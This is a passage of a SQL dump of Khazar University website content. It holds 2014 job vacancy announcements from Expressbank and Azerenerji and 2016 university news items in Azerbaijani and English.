target=\"_blank\"><strong>uhuseynova@khazar.org</strong></a></div><div>&nbsp;</div><hr><div>&nbsp;</div><div>&nbsp;</div><div><strong>Expressbank</strong>&nbsp;is seeking candidates for possible vacancies:<br>&nbsp;<br>&nbsp;<br>&nbsp;<br><strong>Credits Specialist</strong><br>&nbsp;<br><strong>Finance Specialist</strong><br>&nbsp;<br><strong>Customer Service Specialist</strong><br>&nbsp;<br><strong>Cashier</strong><br>&nbsp;<br>Good command in English or Russian is required!<br>&nbsp;<br>Interested candidates please send your CV to the following e-mail address:&nbsp;<strong>uhuseynova@khazar.org</strong><br><br><strong>Deadline 14 February, 2014</strong><br>&nbsp;</div><hr><div>&nbsp;</div><div>&nbsp;</div><div>Dear Students of Education Faculty,<br><br><strong>The 21st Century School</strong>&nbsp;is seeking Future Teachers on different subjects<br><br>Urgently the 4th or last year students are encouraged to send their CV to the following e-mail address:<strong>&nbsp;uhuseynova@khazar.org</strong></div><div>&nbsp;</div><div><br></div><div>&nbsp;</div><div><strong>Name of the company:</strong>&nbsp;Azerbaijan International Mining Company (Gold Mining)</div><div><strong>Position name:</strong>&nbsp;Graduate Mechanical/ Process/ Chemical Engineers</div><div><strong>Location:</strong>&nbsp;Gedebey</div><div><strong>Rotation:</strong>&nbsp;20 days (work)/ 10 days(home)</div><div><strong>Salary:</strong>&nbsp;500 AZN net (beginning)</div><div><strong>Other benefits:</strong>&nbsp;lunch/ transportation</div><div><strong>Languages required:</strong>&nbsp;Azerbaijani- mandatory/ English- Preferable</div><div>&nbsp;</div><div>Appreciated candidates are encouraged to send their CV to the following e-mail address:&nbsp;<strong>uhuseynova@khazar.org</strong></div><div>&nbsp;</div><hr><div><br></div><div>&nbsp;</div><div><strong>JOB DESCRIPTION</strong></div><div>&nbsp;</div><div><strong>Azerenerji JSC</strong>&nbsp;invites applications for the position of Research Analyst in the Investment &amp; Strategy Department of the Company.</div><div>With more than 6GW installed capacity and over 15,000 staff in generation, transmission and distribution Azerenerji is one of the largest&nbsp;state-owned&nbsp;power utilities in Azerbaijan and Eastern Europe and the highest rated company&nbsp;(“BBB-“&nbsp;by Fitch Ratings and Standard &amp; Poor’s) among its peers in CIS. Azerenerji staff has unlimited access to unparalleled knowledge, training and technical resources across the power industry, finance and accounting provided by selected firms among Big 4. Our power industry practice consists of trusted professionals with advanced understanding of business processes as well as industry insights. We offer a flexible career progression model that allows for a variety of challenging opportunities to develop your future career within the Company.</div><table width=\"559\" cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"169\"><div><strong>Department</strong></div></td><td width=\"388\"><div>Investment &amp; Strategy Department</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>Division</strong></div></td><td width=\"388\"><div>Regional Power Markets Analysis</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>Position Title</strong></div></td><td width=\"388\"><div>Research Analyst</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>Reports to</strong></div></td><td width=\"388\"><div>Head of Division</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>Key Responsibilities</strong></div></td><td width=\"388\"><div>-&nbsp;Analysis of electricity production, consumption, trade balance,</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>etc.</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Research on power generation sector structure (major market</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>players, generation mix, etc.)</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Research on power transmission sector structure (infrastructure</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>and capacity,&nbsp;inter-connection&nbsp;lines, etc.)</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Research on power distribution sector structure (network length,</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>transformers, substations, etc.)</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Follow regional energy news per selected countries and prepare</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>Daily Energy Briefing Update</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Collect and regularly update information on top regional power</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>market participants in selected countries</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Monitor daily energy prices of selected countries and their</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>comparative analysis</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Study of power market model per selected countries</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Study of market &amp; pricing trends of target countries</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Determine Company’s export pricing &amp; supply strategy and</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>prepare power sales simulation model</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>Position Requirements</strong></div></td><td width=\"388\"><div>-&nbsp;Bachelor degree in Management, Business Administration,</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>International Economic Relations or any other related field.</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>Master degree is an advantage</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Knowledge of Microsoft Office (Excel, Word, Power Point, etc.)</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Languages: Azeri (native), English (upper intermediate).</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>Russian is an advantage</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>To Apply</strong></div></td><td width=\"388\"><div>Qualified candidates should forward their cover letter and resume</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>(indicating position) to&nbsp;<strong>fealiyev@azerenerji.gov.az</strong></div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>Application Deadline</strong></div></td><td width=\"388\"><div>February 21, 2014</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr></tbody></table><div>&nbsp;</div><hr><div>&nbsp;</div><div><strong>JOB DESCRIPTION</strong></div><div><strong>&nbsp;</strong></div><div><strong>Azerenerji JSC</strong>&nbsp;invites candidates for the position of Tax (and NAS) Accountant within the ERP project implementation as a staff member of Investment &amp; Strategy Department of the Company.</div><div>With more than 6GW installed capacity and over 15,000 staff in generation, transmission and distribution Azerenerji is one of the largest&nbsp;state-owned&nbsp;power utilities in Azerbaijan and Eastern Europe and the highest rated company&nbsp;(“BBB-“&nbsp;by Fitch Ratings and Standard &amp; Poor’s) among its peers in CIS. Azerenerji staff has unlimited access to unparalleled knowledge, training and technical resources across the power industry, finance and accounting provided by selected firms among Big 4. Our power industry practice consists of trusted professionals with advanced understanding of business processes as well as industry insights. We offer a flexible career progression model that allows for a variety of challenging opportunities to develop your future career within the Company.</div><table width=\"555\" cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"164\"><div><strong>Department</strong></div></td><td width=\"389\"><div>Investment and Strategy Department</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>&nbsp;</div></td></tr><tr><td width=\"164\"><div><strong>Position Title</strong></div></td><td width=\"389\"><div>Tax accountant</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>&nbsp;</div></td></tr><tr><td width=\"164\"><div><strong>Reports to</strong></div></td><td width=\"389\"><div>Head of Department</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>&nbsp;</div></td></tr><tr><td width=\"164\"><div><strong>Required knowledge &amp;</strong></div></td><td width=\"389\"><div>-&nbsp;The tax code of the Republic of Azerbaijan, laws, and other</div></td></tr><tr><td width=\"164\"><div><strong>skills</strong></div></td><td width=\"389\"><div>related normative acts</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>-&nbsp;Tax accounting and IFRS fundamentals</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>-&nbsp;Structure and work principles of tax institutions</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>-&nbsp;Essentials of Labour Code of the Republic of Azerbaijan</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>-&nbsp;Preparation and analysis of tax declarations, tax invoices and</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>other reporting forms to government authorities (SSPF,</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>Statistical Committee, Ministry of Taxes etc.)</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>-&nbsp;Processing business transactions in related accounting software</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>applications such 1C (knowledge of 1C 8.2 is an advantage)</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>-&nbsp;Tax planning</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>&nbsp;</div></td></tr><tr><td width=\"164\"><div><strong>Position Requirements</strong></div></td><td width=\"389\"><div>-&nbsp;Bachelor degree in Taxation, Finance, Accounting, Economics or</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>any other related field. Master degree is an advantage</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>-&nbsp;Knowledge of Microsoft Office (Excel, Word, etc.)</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>-&nbsp;At least 3 years of related experience in industry</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>-&nbsp;Languages: Azeri (native), English (intermediate). Russian is an</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>advantage</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>&nbsp;</div></td></tr><tr><td width=\"164\"><div><strong>To Apply</strong></div></td><td width=\"389\"><div>Qualified candidates should forward their cover letter and resume</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>(indicating position) to&nbsp;<strong>ghajiyeva@azerenerji.gov.az</strong></div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>&nbsp;</div></td></tr><tr><td width=\"164\"><div><strong>Application Deadline</strong></div></td><td width=\"389\"><div>February 21, 2014</div></td></tr><tr><td width=\"164\"><div>&nbsp;</div></td><td width=\"389\"><div>&nbsp;</div></td></tr></tbody></table><div>&nbsp;</div><hr><div>&nbsp;</div><div><strong>JOB DESCRIPTION</strong></div><div>&nbsp;</div><div><strong>Azerenerji JSC</strong>&nbsp;invites applications for the position of Power Engineer.</div><div>With more than 6GW installed capacity and over 15,000 staff in generation, transmission and distribution Azerenerji is one of the largest&nbsp;state-owned&nbsp;power utilities in Azerbaijan and Eastern Europe and the highest rated company&nbsp;(“BBB-“&nbsp;by Fitch Ratings and Standard &amp; Poor’s) among its peers in CIS. Azerenerji staff has unlimited access to unparalleled knowledge, training and technical resources across the power industry, finance and accounting provided by selected firms among Big 4. Our power industry practice consists of trusted professionals with advanced understanding of business processes as well as industry insights. We offer a flexible career progression model that allows for a variety of challenging opportunities to develop your future career within the Company.</div><div><br></div><table width=\"559\" cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"169\"><div><strong>Position Title</strong></div></td><td width=\"388\"><div>Power Engineer</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>Key Responsibilities</strong></div></td><td width=\"388\"><div>-&nbsp;Analysis the technical and engineering aspects of the company’s</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>current and proposed projects</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Preparation of engineering reports and other documentation</div></td></tr><tr><td width=\"169\"><br></td><td width=\"388\"><div>based on consultation and feedback from relevant departments</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>and affiliates of Azerenerji with due consideration of all aspects</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>of the projects and submit to head of the division for evaluation</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Participation in the preparation of technical parts of feasibility</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>studies for current and proposed projects and submit to head of</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>the division for evaluation</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Arrangement of the application of the existing best international</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>experience in the field of technical assessment and analysis of</div></td></tr><tr><td width=\"169\"><br></td><td width=\"388\"><div>project</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Participation in the preparation of&nbsp;project-specific&nbsp;summary</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>technical documents</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Conducting technical assessment and analysis of proposed</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>projects based on the available information and site visits</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Making&nbsp;project-specific&nbsp;field trips to project sites to collect</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>additional information, as well conduct&nbsp;site-specific&nbsp;engineering</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>evaluation</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Drafting&nbsp;project-related&nbsp;drawings and sketches upon request</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>(with design software, such as AutoCAD) for inclusion in project</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>appraisal reports</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Consultation on technical aspects of projects, with relevant</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>Azerenerji departments and affiliates, as well other companies</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>and organizations involved in projects</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>Position Requirements</strong></div></td><td width=\"388\"><div>-&nbsp;Bachelor degree in Power Engineering or other related field</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;At least 2 years of working experience in power engineering</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Design software knowledge (such as, AutoCAD, ArchiCAD, etc.)</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Sound report writing skills</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>-&nbsp;Languages: Azeri (native), English (upper intermediate)</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>To Apply</strong></div></td><td width=\"388\"><div>Qualified candidates should forward their cover letter and resume</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>(indicating position) to&nbsp;<strong>fealiyev@azerenerji.gov.az</strong></div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr><tr><td width=\"169\"><div><strong>Application Deadline</strong></div></td><td width=\"388\"><div>February 21, 2014</div></td></tr><tr><td width=\"169\"><div>&nbsp;</div></td><td width=\"388\"><div>&nbsp;</div></td></tr></tbody></table><div>&nbsp;</div><hr><div>&nbsp;</div><div><br></div><div><strong>JOB DESCRIPTION</strong></div><div>&nbsp;</div><div><strong>Azerenerji JSC</strong>&nbsp;invites applications for the position of HR Assistant in the Human Resources Department of the Company.</div><div>With more than 6GW installed capacity and over 15,000 staff in generation, transmission and distribution Azerenerji is one of the largest&nbsp;state-owned&nbsp;power utilities in Azerbaijan and Eastern Europe and the highest rated company&nbsp;(“BBB-“&nbsp;by Fitch Ratings and Standard &amp; Poor’s) among its peers in CIS. Azerenerji staff has unlimited access to unparalleled knowledge, training and technical resources across the power industry, finance and accounting provided by selected firms among Big 4. Our power industry practice consists of trusted professionals with advanced understanding of business processes as well as industry insights. We offer a flexible career progression model that allows for a variety of challenging opportunities to develop your future career within the Company.</div><div><br></div><table width=\"617\" cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"187\"><div><strong>Department</strong></div></td><td width=\"428\"><div>Human Resources Department</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>&nbsp;</div></td></tr><tr><td width=\"187\"><div><strong>Position Title</strong></div></td><td width=\"428\"><div>HR Assistant</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>&nbsp;</div></td></tr><tr><td width=\"187\"><div><strong>Reports to</strong></div></td><td width=\"428\"><div>Head of Department</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>&nbsp;</div></td></tr><tr><td width=\"187\"><div><strong>Key Responsibilities</strong></div></td><td width=\"428\"><div>-&nbsp;Coordination of workflow and procedures between HR and other</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>departments</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Develop, conduct and coordinate employee orientation and exit</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>conference processes</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Provide support in developing and implementing personnel</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>policies and procedures</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Supervising, developing and evaluating subordinates</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Review of personnel’s activities to assure compliance with state</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>statues</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Assistance in making recommendations for the employment and</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>assignment of personnel</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Maintenance of job titles and allocations for position control</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Design and development of employee data sheets</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Keep employee records&nbsp;up-to-date&nbsp;by processing employee</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>status changes in timely fashion</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Coordinate employment process (e.g. preparing announcements</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>of vacancies, job posting on web sites, processing applications,</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>analyzing transcripts and references, performing telephone/initial</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>interviews)</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Coordinate annual performance appraisal process and</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>participate in evaluation meetings</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Assistance in evaluation of reports, decisions and results of</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>department in result to established goals</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>&nbsp;</div></td></tr><tr><td width=\"187\"><div><strong>Position Requirements</strong></div></td><td width=\"428\"><div>-&nbsp;Master degree in Human Resource Management or any other</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>related field</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Effective communication skills</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Knowledge of Microsoft Office (Excel, Word, Power Point, etc.)</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>-&nbsp;Languages: Azeri (native), English (upper intermediate).</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>Russian is an advantage</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>&nbsp;</div></td></tr><tr><td width=\"187\"><div><strong>To Apply</strong></div></td><td width=\"428\"><div>Qualified candidates should forward their cover letter and resume</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>(indicating position) to&nbsp;<strong>fealiyev@azerenerji.gov.az</strong></div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>&nbsp;</div></td></tr><tr><td width=\"187\"><div><strong>Application Deadline</strong></div></td><td width=\"428\"><div>February 21, 2014</div></td></tr><tr><td width=\"187\"><div>&nbsp;</div></td><td width=\"428\"><div>&nbsp;</div></td></tr></tbody></table><div>&nbsp;</div><hr><div>&nbsp;</div></div>  <img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\"><img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\"><img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\"><img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\">  </div>'),(1771,1099,'az','3-cü “Milli Spaghetti körpü” müsabiqəsi keçirildi  ','2016-cı il mayın 4-də Xəzər Universitetində İnşaat mühəndisliyi departamenti tərəfindən 3-cü “Milli Spaghetti körpü” müsabiqəsi keçirildi.','<p>2016-cı&nbsp;il mayın 4-də Xəzər Universitetində İnşaat mühəndisliyi departamenti tərəfindən 3-cü “Milli Spaghetti körpü” müsabiqəsi keçirildi.</p><p>Körpüləri müsabiqədən bir gün əvvəl komitə tərəfindən qəbul edilmiş Xəzər Universiteti və Bakı Ali Neft Məktəbinin ümumilikdə üç qrupu bir-biri ilə yarışdı.</p><p>Körpülərin maksimum yükgötürmə qabiliyyəti onlara ağırlıq əlavə olunaraq qırılma anına qədər götürdüyü yük qiymətləndirilir, qalib komanda körpünün götürdüyü maksimum yükün körpünün öz çəkisinə olan nisbəti əsasında seçilirdi.</p><p>Nəticədə, qalib körpü 24 nisbəti ilə Xəzər Universitetinin “Action körpüsü” oldu.</p><p>&nbsp;</p>'),(1772,1099,'en','3rd National Spaghetti Bridge Competition','On May 4, 2016, the 3rd National Spaghetti Bridge Competition was held at Khazar University with the coordination of the Civil Engineering Department. ','<p>On May 4, 2016, the 3rd National Spaghetti Bridge Competition was held at Khazar University with the coordination of the Civil Engineering Department.&nbsp;</p><p>Three teams from Khazar University and Baku Higher Oil School competed against each other. Their original spaghetti bridges had been accepted by the judging committee the day before the competition.</p><p>The maximum loading capacity of bridges was measured by loading them until their breaking point. The winner was selected based on the ratio of the maximum load that the bridge held to the weight of the bridge. The winning bridge was Action from Khazar University with a ratio of 24.</p>'),(1773,1100,'az','Səhənd Texnologiya Universitetinin nümayəndə heyəti Xəzər Universitetində oldu','2016-cı il mayın 11-i və 12-də iki universitet arasında əməkdaşlığı müzakirə etmək üçün dəvət olunmuş Səhənd Texnologiya Universitetinin nümayəndə heyəti Xəzər Universitetində oldu.','<p>2016-cı il mayın 11-i və 12-də iki universitet arasında əməkdaşlığı müzakirə etmək üçün dəvət olunmuş&nbsp;Səhənd Texnologiya Universitetinin&nbsp;nümayəndə heyəti Xəzər Universitetində oldu.</p><p>Səfər çərçivəsində həm Xəzər Universitetində, həm də “Dünya” məktəbində silsilə görüşlər keçirildi. Qonaqlar Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və universitetinin rektoru Dr. Hassan Niknafs ilə görüşdülər. Nümayəndə heyəti Xəzər Universitetində hazırda təhsil alan iranlı tələbələrlə də görüşdülər.</p><p>Universitetin rəhbərliyi, fakültə dekanları, akademik və administrativ şöbələrin rəhbərləri üçün&nbsp;Səhənd Texnologiya Universitetihaqqında təqdimat keçirildi.</p><p>Səhənd Texnologiya Universitetinin nümayəndə heyətinə rektor Dr. Rasoul Azari Khosroshahi, İctimai və beynəlxalq əlaqələr direktoru Dr. Kazem Ghanbari, Tədqiqat üzrə prorektor Dr. Syamak Hossein Nedjad və Qaz və Neft İnstitutunun direktoru Dr. Seyed Alireza Tabatabaeinezhad daxil idilər.</p>'),(1774,1100,'en','Delegation from Sahand University of Technology Visits Khazar University','On May 11-12, 2016, a delegation from Sahand University of Technology was invited by Khazar University to Azerbaijan to discuss cooperation between the two universities.\r\n\r\n ','<p>On May 11-12, 2016, a delegation from Sahand University of Technology was invited by Khazar University to Azerbaijan to discuss cooperation between the two universities.</p><p>&nbsp;</p><p>Within the framework of the visit, a series of meetings was held at Khazar University and its affiliate, Dunya School. The guests met with Professor Hamlet Isaxanli, the Founder of Khazar University and Chairman of its Board of Directors and Trustees, as well as with Dr. Hassan Niknafs, President of Khazar University. Members of the delegation also met with Iranian students currently studying at Khazar University.</p><p>&nbsp;</p><p>A presentation about Sahand University of Technology was delivered for the university management, deans of the schools, and heads of academic and administrative departments.</p><p>&nbsp;</p><p>Members of the delegation included Dr. Rasoul Azari Khosroshahi, Rector; Dr. Kazem Ghanbari, Director of Public and International Relations; Dr. Syamak Hossein Nedjad, Vice-Rector in Research; and Dr. Seyed Alireza Tabatabaeinezhad, Director of Institute of Gas and Oil.</p>'),(1775,1101,'az','“Zəkalar” liseyinin şagirdləri Xəzər Universitetində oldular','2016-cı il mayın 11-də Xəzər Universitetində 287 saylı “Zəkalar” liseyinin XI sinif şagirdləri ilə görüş keçirildi. Görüşü Xəzər Universitetinin rektoru Dr. Hassan Niknafs açaraq Xəzər Universiteti və universitetdəki qurumlar haqqında geniş məlumat verdi.','<div>2016-cı il mayın 11-də Xəzər Universitetində 287 saylı “Zəkalar” liseyinin XI sinif şagirdləri ilə görüş keçirildi. Görüşü Xəzər Universitetinin rektoru Dr. Hassan Niknafs açaraq Xəzər Universiteti və universitetdəki qurumlar haqqında geniş məlumat verdi. İqtisadiyat və menecment fakültəsinin dekanı professor İnqilab Əhmədov, Himanitar və sosial elmlər fakültəsinin dekanı dosent Cabir Xəlilov çıxış edərək, fakültədə olan ixtisaslar haqqında məlumat verdilər. Pakistan, Zimbabve, Yəmən və Kamerundan olan xarici tələbələr Xəzər Universiteti və Azərbaycan haqqında xoş fikirlərini şagirdlərə söylədilər&nbsp;və şagirdlərin suallarını cavablandırdılar. İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli “Zəkalar” liseyinin şagirdlərini universitetin laboratoriyaları, Kitabxana-İnformasiya Mərkəzi, Psixologiya Mərkəzi, İnşaat mühəndisliyi laboratoriyası digər yerlərlə ilə tanış etdi.</div><div>Sonda universitetin yeməkxanasında çay süfrəsi ətrafında şagirdlərlə maraqlı söhbət oldu, xatirə şəkilləri çəkildi.</div>'),(710,504,'en','Success Story','Success Story','<p><strong>SUCCESS STORIES</strong></p><p>&nbsp;</p><p><strong>Tarlan Ganbarova</strong></p><p>&nbsp;</p>\r\n<p>I am a second year student of the master program in Clinical Psychology\r\nat Khazar University. Now I am working at the Modern Psychology Center. Last\r\nyear I got a scholarship from Erasmus Mundus program as exchange student. I lived\r\nin Poland for 10 months. It was a really amazing and unforgettable experience\r\nfor me. I am thankful to the Career Development Center coordinator, Ulvia\r\nHuseynli. She helped me in each step of the application process. I learned how\r\nto prepare an effective motivation letter and CV. Finally, I would like to say\r\nthat you 